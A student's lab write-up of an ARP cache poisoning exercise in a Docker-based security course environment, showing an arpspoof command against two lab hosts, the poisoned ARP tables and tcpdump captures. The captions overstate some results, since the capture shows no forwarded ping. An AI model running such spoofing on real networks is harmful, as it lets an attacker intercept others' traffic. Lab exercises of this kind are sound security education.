Owen Durkin

This question was fun to work through and I genuinely got a sense of joy when I solved it. It was relatively straightforward aside from a hiccup I mentioned below.

Docker ps being ran to get container id's. Opened 3 terminals and ran **docker exec -it <CONTAINER_ID> /bin/bash** for the host a, host b, and host m (attacker)

```
odurkin@MSI:~/Education/UMass/FA23/CS449/CS_449_Assignment_4/LabsetupA
RP$ docker ps
CONTAINER ID   IMAGE                               COMMAND
      CREATED          STATUS         PORTS     NAMES
18cc7c1f1694   handsonsecurity/seed-ubuntu:large   "bash -c ' /etc/ini
t…"   28 hours ago   Up 28 hours              B-10.9.0.6
5fb878ffbfb4   handsonsecurity/seed-ubuntu:large   "/bin/sh -c /bin/ba
sh"   28 hours ago   Up 28 hours              M-10.9.0.105
ee0e64decaa0   handsonsecurity/seed-ubuntu:large   "bash -c ' /etc/ini
t…"   28 hours ago   Up 28 hours              A-10.9.0.5
```

Arpspoof -c own -t 10.9.0.5 -t 10.9.0.6 10.9.0.105 being ran from the attacker. Originally I didn't understand that you could specify two targets using -t twice. This caused me to be stuck momentarily.

```
root@5fb878ffbfb4:/# arpspoof -t 10.9.0.5 -t 10.9.0.6 10.9.0.105
2:42:a:9:0:69 2:42:a:9:0:5 0806 42: arp reply 10.9.0.105 is-at 2:42:a:
9:0:69
2:42:a:9:0:69 2:42:a:9:0:6 0806 42: arp reply 10.9.0.105 is-at 2:42:a:
9:0:69
2:42:a:9:0:69 2:42:a:9:0:5 0806 42: arp reply 10.9.0.105 is-at 2:42:a:
9:0:69
2:42:a:9:0:69 2:42:a:9:0:6 0806 42: arp reply 10.9.0.105 is-at 2:42:a:
9:0:69
2:42:a:9:0:69 2:42:a:9:0:5 0806 42: arp reply 10.9.0.105 is-at 2:42:a:
9:0:69
2:42:a:9:0:69 2:42:a:9:0:6 0806 42: arp reply 10.9.0.105 is-at 2:42:a:
9:0:69
2:42:a:9:0:69 2:42:a:9:0:5 0806 42: arp reply 10.9.0.105 is-at 2:42:a:
9:0:69
2:42:a:9:0:69 2:42:a:9:0:6 0806 42: arp reply 10.9.0.105 is-at 2:42:a:
9:0:69
2:42:a:9:0:69 2:42:a:9:0:5 0806 42: arp reply 10.9.0.105 is-at 2:42:a:
9:0:69
2:42:a:9:0:69 2:42:a:9:0:6 0806 42: arp reply 10.9.0.105 is-at 2:42:a:
9:0:69
2:42:a:9:0:69 2:42:a:9:0:5 0806 42: arp reply 10.9.0.105 is-at 2:42:a:
9:0:69
2:42:a:9:0:69 2:42:a:9:0:6 0806 42: arp reply 10.9.0.105 is-at 2:42:a:
9:0:69
^C^Z
[4]+  Stopped                 arpspoof -t 10.9.0.5 -t 10.9.0.6 10.9.0.
105
```

Owen Durkin

10.9.0.6 mapped to the host mac address after running arpspoof from attacker

```
root@18cc7c1f1694:/# arp -n
Address                  HWtype  HWaddress           Flags Mask
     Iface
10.9.0.105               ether   02:42:0a:09:00:69   C
     eth0
```

10.9.0.5 mapped to the host mac address after running arpspoof from attacker

```
root@ee0e64decaa0:/# arp -n
Address                  HWtype  HWaddress           Flags Mask
     Iface
10.9.0.105               ether   02:42:0a:09:00:69   C
     eth0
```

Owen Durkin

Tcpdump on the attacker

```
root@5fb878ffbfb4:/# tcpdump -i eth0 -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol de
code
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 by
tes
02:35:57.442308 ARP, Reply 10.9.0.105 is-at 02:42:0a:09:00:69, length
28
02:35:57.442482 ARP, Reply 10.9.0.105 is-at 02:42:0a:09:00:69, length
28
02:35:59.443109 ARP, Reply 10.9.0.105 is-at 02:42:0a:09:00:69, length
28
02:35:59.443420 ARP, Reply 10.9.0.105 is-at 02:42:0a:09:00:69, length
28
02:36:01.443802 ARP, Reply 10.9.0.105 is-at 02:42:0a:09:00:69, length
28
02:36:01.443985 ARP, Reply 10.9.0.105 is-at 02:42:0a:09:00:69, length
28
02:36:03.444349 ARP, Reply 10.9.0.105 is-at 02:42:0a:09:00:69, length
28
02:36:03.444998 ARP, Reply 10.9.0.105 is-at 02:42:0a:09:00:69, length
28
02:36:05.445789 ARP, Reply 10.9.0.105 is-at 02:42:0a:09:00:69, length
28
02:36:05.446026 ARP, Reply 10.9.0.105 is-at 02:42:0a:09:00:69, length
28
02:36:07.446334 ARP, Reply 10.9.0.105 is-at 02:42:0a:09:00:69, length
28
02:36:07.446501 ARP, Reply 10.9.0.105 is-at 02:42:0a:09:00:69, length
28
02:36:09.446829 ARP, Reply 10.9.0.105 is-at 02:42:0a:09:00:69, length
28
02:36:09.448539 ARP, Reply 10.9.0.105 is-at 02:42:0a:09:00:69, length
28
02:36:11.448886 ARP, Reply 10.9.0.105 is-at 02:42:0a:09:00:69, length
28
02:36:11.448948 ARP, Reply 10.9.0.105 is-at 02:42:0a:09:00:69, length
```

Ping 10.9.0.6 from 10.9.0.5 being intercepted and forwarded by attacker

```
02:37:11.472347 ARP, Reply 10.9.0.105 is-at 02:42:0a:09:00:69, length
28
02:37:13.459446 ARP, Request who-has 10.9.0.6 tell 10.9.0.5, length 28
02:37:13.472561 ARP, Reply 10.9.0.105 is-at 02:42:0a:09:00:69, length
28
```